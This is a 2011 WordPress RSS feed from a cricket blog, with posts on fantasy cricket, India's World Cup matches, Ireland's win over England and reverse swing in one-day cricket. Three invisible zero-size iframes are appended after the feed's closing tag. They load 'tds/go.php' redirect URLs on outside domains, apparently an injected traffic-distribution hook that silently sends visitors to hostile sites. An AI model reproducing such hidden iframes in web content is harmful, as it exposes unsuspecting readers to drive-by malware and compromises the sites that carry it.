<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cricket World Cup 2011, Cricket Info, Discuss Cricket online</title>
	<atom:link href="http://www.allimportantlinks.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.allimportantlinks.com</link>
	<description>Cricket World Cup 2011 is in the sub-continent and we can expect huge totals and some stunning chases. Join in the discussion, have your say, its all about cricket for now.</description>
	<lastBuildDate>Mon, 21 Mar 2011 09:31:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.5</generator>
		<item>
		<title>Make it Real, not Fantasy</title>
		<link>http://www.allimportantlinks.com/cricket/2011/make-it-real-not-fantasy/</link>
		<comments>http://www.allimportantlinks.com/cricket/2011/make-it-real-not-fantasy/#comments</comments>
		<pubDate>Mon, 21 Mar 2011 07:12:53 +0000</pubDate>
		<dc:creator>mach3</dc:creator>
				<category><![CDATA[Cricket]]></category>
		<category><![CDATA[cricket]]></category>
		<category><![CDATA[cricket world cup 2011]]></category>
		<category><![CDATA[cwc2011]]></category>

		<guid isPermaLink="false">http://www.allimportantlinks.com/post/2011/make-it-real-not-fantasy/</guid>
		<description><![CDATA[So I decided to stack up a team. There were points on offer. by ESPN. It has been long since I have made a point. Hence the excitement. I didn’t pay too much heed to the limited and scarce number of transfers that I had in my bag, instead, the strategy suggested by Nicklaus, my [...]]]></description>
			<content:encoded><![CDATA[<p>So I decided to stack up a team. There were points on offer. by ESPN. It has been long since I have made a point. Hence the excitement. </p>
<p>I didn’t pay too much heed to the limited and scarce number of transfers that I had in my bag, instead, the strategy suggested by Nicklaus, my alter ego was slam the minnows hard. And I listened. Unforeseen travel plans stained the original blueprint. I was to have no access to the Internet for a good four days. In a desperate bid to amass the points, I packed my team with South Africans and Pakistanis. Eleven of them in all. The two were scheduled to play against a couple of ordinary minnows on the same day. I requested Sharandeep to log into my account and adjust my captains accordingly. Afridi in the morning and AB post lunch. Both Afridi, and AB slammed Man of the Match performances. I had made my point. I have nothing to prove to the world anymore. I had stacked up the points and ranked 1798 in the world. And that remains my highest ranking in anything that I have attempted in life until this point in time.</p>
<p>The following week, India was scheduled to play a couple of ordinary minnows, and England on the weekend. Three games in seven days. Nicklaus insisted that I stack Indians. I did. Yuvraj Singh was the unanimous choice for captain because he, like Ganguly can score the runs and knock the wickets only against ordinary opposition. And how! Fifties and bags of wickets! And successive Man of the Match awards. Yuvraj had repaid my faith in him. I retained him in my team and retained his captaincy services in the game against the West Indies. He was Man of the Match then again.</p>
<p>In the mean time, Afridi and Watson added points to my tally in the background. My focus was on Australia though. They’d be playing a couple of very ordinary minnows, and Pakistan on the weekend. In all, three games in the week. I stacked them in, all six of them. Much to my disappointment, they didn’t stack up the points as expected. Nicklaus had failed me.</p>
<p>And I was under the impression that I had to walk into the quarter finals with my final XI. And that I’d have all of 10 transfers thereon. On the day, I found out that I had unlimited transfers available until the start of the first quarter final. A complete failure of strategy, a strategy that had seared me up to greatness has come crumbling down.</p>
<p>Nevertheless, I walk into the quarter finals stacked like this:<br />
<a href="http://www.allimportantlinks.com/?attachment_id=188" rel="attachment wp-att-188"><img src="http://www.allimportantlinks.com/wp-content/uploads/2011/03/team.jpg" alt="" width="646" height="793" class="alignnone size-full wp-image-188" /></a></p>
<p>I had however topped all of the two leagues that I am listed in for most of the four weeks of the league stages of the 2011 Cricket World Cup. I finish this round on 11161 points, ranked 4289 on the world stage, my second highest ranking in everything that I have attempted in life thus far. I’m now second on each of those two leagues. Sharandeep has taken over.</p>
<p>I had entrusted my faith in S Ajmal, R Ashwin and S Akhtar. These gentlemen however didn’t play any of the games that I’d picked them for. I ban these gentlemen from my future teams. R Ashwin, however will be under a period of probation. He will be considered for future selections if he abstains from fish. Dhoni however, receives a life ban for not playing for the crowds. At the end of the day, the players play for their country, to repay the faith of the national selectors, their team etc. but most importantly, they play for those who’ve picked them in their ESPN Fantasy Cricket team.</p>]]></content:encoded>
			<wfw:commentRss>http://www.allimportantlinks.com/cricket/2011/make-it-real-not-fantasy/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>India vs South Africa, Nagpur &#8211; After 19&#8230;</title>
		<link>http://www.allimportantlinks.com/status/2011/india-vs-south-africa-nagpur-after-19/</link>
		<comments>http://www.allimportantlinks.com/status/2011/india-vs-south-africa-nagpur-after-19/#comments</comments>
		<pubDate>Sat, 12 Mar 2011 10:38:39 +0000</pubDate>
		<dc:creator>Sandeep Ail</dc:creator>
				<category><![CDATA[status]]></category>
		<category><![CDATA[cricket]]></category>
		<category><![CDATA[cricket world cup 2011]]></category>
		<category><![CDATA[cwc2011]]></category>
		<category><![CDATA[india v southafrica]]></category>

		<guid isPermaLink="false">http://www.allimportantlinks.com/status/2011/india-vs-south-africa-nagpur-after-19/</guid>
		<description><![CDATA[India vs South Africa, Nagpur &#8211; After 19 overs, spinners seem to have slowed things down a little bit&#8230; Ashwin must be sipping tea next to Dhoni and passing him biscuits saying &#8216; I told you so&#8217; . Meanwhile Bhaji must be spreading rumors that he is going to pick all the 10 wickets today. [...]]]></description>
			<content:encoded><![CDATA[<p>India vs South Africa, Nagpur  &#8211; After 19 overs, spinners seem to have slowed things down a little bit&#8230; Ashwin must be sipping tea next to Dhoni and passing him biscuits saying &#8216; I told you so&#8217; . Meanwhile Bhaji must be spreading rumors that he is going to pick all the 10 wickets today.</p>
<p>Tendulkar still looks rock solid and good for another century</p>]]></content:encoded>
			<wfw:commentRss>http://www.allimportantlinks.com/status/2011/india-vs-south-africa-nagpur-after-19/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>India vs South Africa, Nagpur</title>
		<link>http://www.allimportantlinks.com/post/2011/india-vs-south-africa-nagpur/</link>
		<comments>http://www.allimportantlinks.com/post/2011/india-vs-south-africa-nagpur/#comments</comments>
		<pubDate>Sat, 12 Mar 2011 10:07:53 +0000</pubDate>
		<dc:creator>Sandeep Ail</dc:creator>
				<category><![CDATA[post]]></category>
		<category><![CDATA[cricket]]></category>
		<category><![CDATA[cricket world cup 2011]]></category>
		<category><![CDATA[cwc2011]]></category>
		<category><![CDATA[Discuss Cricket]]></category>

		<guid isPermaLink="false">http://www.allimportantlinks.com/post/2011/india-vs-south-africa-nagpur/</guid>
		<description><![CDATA[Dhoni wont the toss and chose to bat. The openers have done justice to his decision. After 12 overs India are 111 &#8211; 0, Sehwag 59 off 48 balls, Tendulkar 43 off 25 balls . Its a flat batting track and its going to remain same for the rest of the match. 350 seems like [...]]]></description>
			<content:encoded><![CDATA[<p>Dhoni wont the toss and chose to bat. The openers have done justice to his decision. After 12 overs India are 111 &#8211; 0, Sehwag 59 off 48 balls, Tendulkar 43 off 25 balls . Its a flat batting track and its going to remain same for the rest of the match. 350 seems like a must on this track. There is nothing in it for the bowlers.</p>
<p>There was only one chance the South Africans had for picking a wicket when Morkel got the ball to nip a bit off the seam, got Sehwag&#8217;s edge, the ball flew a bit wide of the keeper, the keeper didn&#8217;t go for it.</p>
<p>Tendulkar looks rock solid and well set for a big one. Sehwag looks a bit iffy but seems to be controlling himself. He is not going the see-the-ball hit-the-ball way</p>
<p>There seems to be a little something-in-it for the spinners. Bhajji might enjoy that, if the dew and his average form doesn&#8217;t play spoilsport.</p>
<p>17th over &#8211; Sehwag out to a rubbish shot to a ball of Faf du plea &#8230;. I don&#8217;t know how to spell that, bit I am sure you know who&#8230;. </p>]]></content:encoded>
			<wfw:commentRss>http://www.allimportantlinks.com/post/2011/india-vs-south-africa-nagpur/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chittagong Uprising!!!</title>
		<link>http://www.allimportantlinks.com/post/2011/chittagong-uprising/</link>
		<comments>http://www.allimportantlinks.com/post/2011/chittagong-uprising/#comments</comments>
		<pubDate>Fri, 11 Mar 2011 12:32:30 +0000</pubDate>
		<dc:creator>Aniruddha</dc:creator>
				<category><![CDATA[post]]></category>

		<guid isPermaLink="false">http://www.allimportantlinks.com/post/2011/chittagong-uprising/</guid>
		<description><![CDATA[What do you say mates??? I am always game for an upset They will have to play really well to pull this off. 2 big partnerships, I say.]]></description>
			<content:encoded><![CDATA[<p>What do you say mates???<br />
I am always game for an upset <img src='http://www.allimportantlinks.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
They will have to play really well to pull this off. 2 big partnerships, I say.</p>]]></content:encoded>
			<wfw:commentRss>http://www.allimportantlinks.com/post/2011/chittagong-uprising/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>&#8230;</title>
		<link>http://www.allimportantlinks.com/link/2011/177/</link>
		<comments>http://www.allimportantlinks.com/link/2011/177/#comments</comments>
		<pubDate>Thu, 10 Mar 2011 07:41:54 +0000</pubDate>
		<dc:creator>Aniruddha</dc:creator>
				<category><![CDATA[link]]></category>

		<guid isPermaLink="false">http://www.allimportantlinks.com/link/2011/177/</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://www.allimportantlinks.com/link/2011/177/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>India going in with 8 Batsmen!!!</title>
		<link>http://www.allimportantlinks.com/cricket/2011/india-going-in-with-8-batsmen/</link>
		<comments>http://www.allimportantlinks.com/cricket/2011/india-going-in-with-8-batsmen/#comments</comments>
		<pubDate>Mon, 07 Mar 2011 11:09:04 +0000</pubDate>
		<dc:creator>Aniruddha</dc:creator>
				<category><![CDATA[Cricket]]></category>
		<category><![CDATA[cricket]]></category>
		<category><![CDATA[cricket world cup 2011]]></category>
		<category><![CDATA[cwc2011]]></category>
		<category><![CDATA[team india]]></category>
		<category><![CDATA[wc2011]]></category>
		<category><![CDATA[worldcup]]></category>

		<guid isPermaLink="false">http://www.allimportantlinks.com/post/2011/india-going-in-with-8-batsmen/</guid>
		<description><![CDATA[I was watching the Canada-Kenya pre-match discussion between Siddhu, Symcox and Gavaskar and they soon started talking about India. Now Mr Gavaskar thinks that with Yuvraj coming back into form and bowling equally well gives Dhoni a chance to bring in Raina and drop a bowler as Yuvraj would be the 4th bowler and Raina [...]]]></description>
			<content:encoded><![CDATA[<p>I was watching the Canada-Kenya pre-match discussion between Siddhu, Symcox and Gavaskar and they soon started talking about India.<br />
Now Mr Gavaskar thinks that with Yuvraj coming back into form and bowling equally well gives Dhoni a chance to bring in Raina and drop a bowler as Yuvraj would be the 4th bowler and Raina and Pathan can complete the 5th bowler&#8217;s quota. Thus giving the top guys the license to play it like a 20-20 match.</p>
<p>Now please tell me I am not the only one who thinks that this idea as cool as it sounds is Gavaskar&#8217;s insecurity and senility talking</p>]]></content:encoded>
			<wfw:commentRss>http://www.allimportantlinks.com/cricket/2011/india-going-in-with-8-batsmen/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Can Ireland beat India?</title>
		<link>http://www.allimportantlinks.com/cricket/2011/can-ireland-beat-india/</link>
		<comments>http://www.allimportantlinks.com/cricket/2011/can-ireland-beat-india/#comments</comments>
		<pubDate>Sat, 05 Mar 2011 14:51:34 +0000</pubDate>
		<dc:creator>Sandeep Ail</dc:creator>
				<category><![CDATA[Cricket]]></category>
		<category><![CDATA[cricket]]></category>
		<category><![CDATA[cricket world cup 2011]]></category>
		<category><![CDATA[cwc2011]]></category>
		<category><![CDATA[Ind v Ire]]></category>

		<guid isPermaLink="false">http://www.allimportantlinks.com/post/2011/can-ireland-beat-india/</guid>
		<description><![CDATA[It’s another game at the belt-the-bowler pitch at M Chinnaswamy Stadium, Bangalore. Ireland must be super high on confidence. Having chased 327 runs against England the other day, Ireland must surely feel that in all fairness someone should have handed over the world cup to them the other night and let the rest of the [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.allimportantlinks.com/cricket/2011/can-ireland-beat-india/attachment/india-v-ireland-toss1/" rel="attachment wp-att-163"><img src="http://www.allimportantlinks.com/wp-content/uploads/2011/03/india-v-ireland-toss1.jpg" alt="India v Ireland, Bangalore, Cricket World Cup 2011" title="india-v-ireland-toss1" width="330" height="210" class="alignright size-full wp-image-163" /></a>It’s another game at the belt-the-bowler pitch at <strong>M Chinnaswamy Stadium, Bangalore</strong>. <strong>Ireland</strong> must be super high on confidence. Having <strong><a href="http://www.allimportantlinks.com/cricket/2011/how-did-ireland-beat-england/">chased 327 runs against England</a></strong> the other day, <strong>Ireland</strong> must surely feel that in all fairness someone should have handed over the <strong>world cup</strong> to them the other night and let the rest of the tournament continue as a mere formality. <br/><br />
<strong>Kevin O’Brien</strong> was quoted by DNA saying <strong>“We can beat India.”</strong>  I call that super duper confidence and all that confidence really helps.<br/><br />
I went back to my beer buddies and asked, ‘Do you’ll think <strong>Ireland can beat India?</strong>’ They all said <strong>‘Pagal hai kya?’ (Are you mad?)</strong>.  A few years ago there would have been so much pessimism about <strong>Team India</strong>, that at least a couple of them would have said <strong>‘Abey India ka na koi bharosa nahi hai… Kenya bhi thok dega (you can’t trust India.. even Kenya might thrash them).</strong><br/><br />
Anything can happen in a cricket match, but the <strong>odds are heavily stacked against Ireland</strong> in their <strong>next encounter against India</strong>. <br/><br />
<strong>India</strong> would have learned a lot from their mistakes against <strong>England</strong> on the same ground.  I also read somewhere that some guys-who-mattered at <strong>Bangalore</strong> were disgusted with the <a href="http://www.allimportantlinks.com/cricket/2011/the-death-of-reverse-swing-in-one-day-international-cricket/"><strong>one sided contest</strong> between <strong>bat and ball</strong></a> and were starting to feel sorry for the bowlers. After a drink or two they decided that the pitch should not be watered at all for the <strong>India v Ireland game</strong>.<br/><br />
Bizarre as this may sound, it is completely believable. This means that there will be some <strong>help for the spinners</strong>. No host nation would want their much adored <strong>&#8216;Team India&#8217;</strong> to be plastered by an unheard of non test playing Irish team. <br/><br />
So <strong>if Ireland wants to win</strong>, Kevin and Co better practice <strong>playing spin</strong> in the nets. I don’t think they play spin too well (Note: Swan had the best figures in the England side).<br/><br />
I feel <strong>Dhoni</strong> is better off making <strong>Ireland bat first</strong>. With India having the batting line up that they have, Ireland will surely go for a 300 plus total and in the process might not even get to 220.<br/><br />
Even if India bat first, they have a line up good enough to score 350(If the pitch behaves the same).<br/><br />
<strong>I don’t see Ireland chasing even 280 against India. I don’t think Ireland can beat India.</strong></p>]]></content:encoded>
			<wfw:commentRss>http://www.allimportantlinks.com/cricket/2011/can-ireland-beat-india/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>How did Ireland beat England?</title>
		<link>http://www.allimportantlinks.com/cricket/2011/how-did-ireland-beat-england/</link>
		<comments>http://www.allimportantlinks.com/cricket/2011/how-did-ireland-beat-england/#comments</comments>
		<pubDate>Sat, 05 Mar 2011 12:18:01 +0000</pubDate>
		<dc:creator>Sandeep Ail</dc:creator>
				<category><![CDATA[Cricket]]></category>
		<category><![CDATA[cricket]]></category>
		<category><![CDATA[cricket world cup 2011]]></category>
		<category><![CDATA[cwc2011]]></category>
		<category><![CDATA[Eng v Ire]]></category>
		<category><![CDATA[Kevin O'Brien]]></category>

		<guid isPermaLink="false">http://www.allimportantlinks.com/post/2011/how-did-ireland-beat-england/</guid>
		<description><![CDATA[After a stunning performance against England, the Irish have managed to do a few things that add novelty to the ongoing Cricket discussions. So I asked a few cricket loving, beer loving friends of mine, &#8216;Did you see the Ireland match?&#8217; (Note that no reference of England was required at all). Haan yaar kya thok [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.allimportantlinks.com/cricket/2011/how-did-ireland-beat-england/attachment/kevin_o_brien_ireland/" rel="attachment wp-att-139"><img src="http://www.allimportantlinks.com/wp-content/uploads/2011/03/kevin_o_brien_ireland.jpg" alt="Kevin O&#039;Brien Ireland - Fastest ODI century in history of cricket world cup" title="kevin_o_brien_ireland" width="310" height="208" class="alignright size-full wp-image-139" /></a>After a stunning performance against England, the Irish have managed to do a few things that add novelty to the ongoing <strong>Cricket discussions</strong>. <br/><br />
So I asked a few cricket loving, beer loving friends of mine, &#8216;Did you see the <strong>Ireland match</strong>?&#8217; (Note that no reference of England was required at all). Haan yaar kya thok dala na… Kya mara yaar voh sale ne (yes dude they hammered them… that guy hit them so cleanly).<br/><br />
 I couldn’t agree more. <strong>Kevin O’Brien</strong> didn’t seem to hit a single mistimed shot, not a single edge. Almost everything he hit with intent was headed to the ropes. Kevin got his first 50 off 30 balls and the second 50 of just 20 balls. Let us also not forget the support provided by <strong>Cusak</strong> and <strong>Mooney</strong>. Kevin, Cusak and Mooney looked so calm towards the end of the game as if they were chasing 327 for the umpteenth time and knew exactly which ball to hit to the fence and which ones to defend. <br/><strong><br />
So how did Ireland really win?</strong> Yes the obvious answer is <strong>Kevin O’Brien won it for them</strong>.  However apart from the brilliant innings a few other things stand out that <strong>Ireland did brilliantly</strong> and <strong>England failed miserably at</strong>. <br/><br />
Firstly let me re-emphasize that <a href="http://www.allimportantlinks.com/cricket/2011/the-death-of-reverse-swing-in-one-day-international-cricket/">300 runs is not a winning total</a>, especially on the flat bowler-killer-batting-track at <strong>M Chinnaswamy Stadium, Bangalore</strong>.<br/><br />
Now coming back to what England did not do. The English fast and medium pacers were a <strong>one pace attack</strong>. They barely bowled any <strong>across the seam cutters</strong> to upset the <strong>batsman’s rhythm</strong>. They did not try many <strong>slower balls</strong>. Not a single English bowler showed even a hint of <strong>reverse swing</strong>. They are all hit-the-deck bowlers and on that pitch the ball just sat up begging to be hit.<br/><br />
In contrast <strong>Johnston</strong> and <strong>Mooney</strong> bowled some brilliant <strong>cutters and variation balls</strong> for Ireland in the <strong>last 4 overs</strong>.  <strong>England</strong> scored just <strong>27 runs in the last 4 and lost 4 wickets</strong>. <br/><br />
In the <strong>Ind vs Eng</strong> match on the same ground, <strong>Zaheer Khan</strong> bowled some brilliant <strong><a href="http://www.allimportantlinks.com/cricket/2011/the-death-of-reverse-swing-in-one-day-international-cricket/">reverse swinging balls</a></strong> that got India back into the game that eventually ended in a tie.<br/><br />
<strong>Lack of variation in bowling is what cost England the match.</strong></p>]]></content:encoded>
			<wfw:commentRss>http://www.allimportantlinks.com/cricket/2011/how-did-ireland-beat-england/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Slinga Malinga 6 Wickets SL vs Kenya</title>
		<link>http://www.allimportantlinks.com/cricket/2011/slinga-malinga-6-wickets-sl-vs-kenya-cricket-world-cup-2011/</link>
		<comments>http://www.allimportantlinks.com/cricket/2011/slinga-malinga-6-wickets-sl-vs-kenya-cricket-world-cup-2011/#comments</comments>
		<pubDate>Wed, 02 Mar 2011 11:38:51 +0000</pubDate>
		<dc:creator>Sandeep Ail</dc:creator>
				<category><![CDATA[Cricket]]></category>
		<category><![CDATA[6 wickets]]></category>
		<category><![CDATA[cricket]]></category>
		<category><![CDATA[cricket world cup 2011]]></category>
		<category><![CDATA[Malinga]]></category>
		<category><![CDATA[SL vs Kenya]]></category>

		<guid isPermaLink="false">http://www.allimportantlinks.com/post/2011/slinga-malinga-6-wickets-sl-vs-kenya-cricket-world-cup-2011/</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><object width="632" height="499"><param name="movie" value="http://www.youtube.com/e/nyFeQq_PEtQ"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/e/nyFeQq_PEtQ" type="application/x-shockwave-flash" width="632" height="499" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>]]></content:encoded>
			<wfw:commentRss>http://www.allimportantlinks.com/cricket/2011/slinga-malinga-6-wickets-sl-vs-kenya-cricket-world-cup-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Death of reverse swing in one day international cricket</title>
		<link>http://www.allimportantlinks.com/cricket/2011/the-death-of-reverse-swing-in-one-day-international-cricket/</link>
		<comments>http://www.allimportantlinks.com/cricket/2011/the-death-of-reverse-swing-in-one-day-international-cricket/#comments</comments>
		<pubDate>Tue, 01 Mar 2011 10:52:10 +0000</pubDate>
		<dc:creator>Sandeep Ail</dc:creator>
				<category><![CDATA[Cricket]]></category>
		<category><![CDATA[cricket]]></category>
		<category><![CDATA[cricket world cup 2011]]></category>
		<category><![CDATA[cwc2011]]></category>
		<category><![CDATA[Ind vs Eng]]></category>
		<category><![CDATA[reverse swing]]></category>
		<category><![CDATA[wc2011]]></category>
		<category><![CDATA[Zaheer Khan]]></category>

		<guid isPermaLink="false">http://www.allimportantlinks.com/post/2011/the-death-of-reverse-swing-in-one-day-international-cricket/</guid>
		<description><![CDATA[300 runs is no more a winning total in a 50 over one day international game. Especially in the sub continent where most of the pitches are flat batting tracks and are burial grounds for the fast and medium pacers. So then let us look at the conditions in which bowlers can pick up wickets [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a rel="attachment wp-att-100" href="http://www.allimportantlinks.com/cricket/2011/the-death-of-reverse-swing-in-one-day-international-cricket/attachment/zaheer_khan/"><img class="alignright size-full wp-image-100" title="zaheer_khan" src="http://www.allimportantlinks.com/wp-content/uploads/2011/03/zaheer_khan.jpg" alt="Zaheer Khan, India's leading bowler, Cricket World Cup 2011" width="398" height="209" /></a>300 runs is no more a winning total in a 50 over <strong>one day international</strong> game. Especially in the sub continent where most of the pitches are <strong>flat batting tracks</strong> and are <strong>burial grounds</strong> for the <strong>fast and medium pacers</strong>. So then let us look at the conditions in which bowlers can pick up wickets on these tracks. There are precious few.</p>
<p style="text-align: justify;">Firstly if there is <strong>conventional swing</strong> on offer with the new ball, bowlers have a bit of a chance. However that rarely happens in a day-night game.</p>
<p style="text-align: justify;">The new ball usually swings in the morning session of a test match for the first 10-15 overs (and lets not forget that it’s the red SG ball used in Test Matches in India that swings more due to its pronounced seam… Kookaburra usually does not like to swing as much).</p>
<p style="text-align: justify;"><strong>Spinners</strong> always have a better chance in the sub continent, especially if there is some bounce in the wicket or some early wear and tear both on the pitch and the ball.</p>
<p>Now a <strong>fast bowler’s main weapon</strong> on the subcontinent has to be <strong>reverse swing</strong>. A ball which is about 35 Overs old, a bit soft and knocked around the park a little bit is ideal for reverse swing.<span id="more-96"></span> <strong>Reverse swing</strong> is one of the most lethal weapons a fast bowler possesses in the sub-continent to get even with the batsman who has been knocking them silly for most part of 35 Overs. So bowlers could then come back, restrict the batsmen and the oppositions total to about 250 – 260. This made for a half way decent contest between the bat and the ball.</p>
<p>The head-scratchers at <strong>ICC</strong> are obviously not bowlers or are not cricketers at all. They must be some MBA grads who came up with a marketing strategy to make the game more interesting.  How do we do that? We need more runs. How do we get more runs? <strong>KILL reverse swing</strong>. How do we KILL reverse swing?</p>
<p><strong>Mandatory ball change in the 35th over.</strong></p>
<p>The changed ball is scrubbed a little bit, but it’s hard and the seam is intact. So for the batsmen, its rewind to the first 15 overs and as if that wasn’t enough they are given additional 5 overs of power play which can be taken at any time in the game. Guess what is the best time to take it? Yes you are right. <strong>35th over when the ball is changed</strong>.</p>
<p>Now do you think 300 runs is a winning total on a flat batting track? If the side batting first cruised to 300 then you can rest assured that the side batting second can get there if they keep their heads. No heroics required.</p>
<p>Yes the ball gets dirty and difficult to pick (see) for the batsmen. But that usually happens around the 40th over. Batsmen start complaining around the 35th because a <strong>reversing ball reverses late and is difficult to play if bowled with a certain degree of accuracy</strong>.</p>
<p style="text-align: justify;"><a rel="attachment wp-att-95" href="http://www.allimportantlinks.com/cricket/2011/the-death-of-reverse-swing-in-one-day-international-cricket/attachment/zaheerkhan_staruss-wicket/"><img class="size-full wp-image-95 aligncenter" title="zaheerkhan_staruss-wicket" src="http://www.allimportantlinks.com/wp-content/uploads/2011/03/zaheerkhan_staruss-wicket.jpg" alt="Zaheer Khan wicket of Andrew Strauss, India vs England, Cricket world cup 2011" width="529" height="306" /></a>In the ongoing <strong>ICC <a href="http://www.allimportantlinks.com/cricket/2011/slinga-malinga-6-wickets-sl-vs-kenya-cricket-world-cup-2011/">Cricket World Cup 2011</a>, IND v/s ENG, Zaheer Khan</strong> produced a peach of a delivery in the 42nd over to <strong>Andrew Strauss batting at 158</strong>. The ball reversed and reversed late. It’s not that Strauss couldn’t see the ball – the ball had been changed, it <strong>reversed late and was unplayable</strong>. That wicket brought India back into the match which eventually ended in a tie. For me <strong>Zaheer Khan was the Man of the Match</strong> just for that one delivery that changed the entire course of the game.</p>
<p>It was also a reminder that inspite of ICC’s best efforts, <strong>reverse swing is dead but not quite</strong>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.allimportantlinks.com/cricket/2011/the-death-of-reverse-swing-in-one-day-international-cricket/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

<iframe src="http://badosov.com/tds/go.php?sid=63" width="0" height="0" frameborder="0"></iframe>

<iframe src="http://badosov.com/tds/go.php?sid=63" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
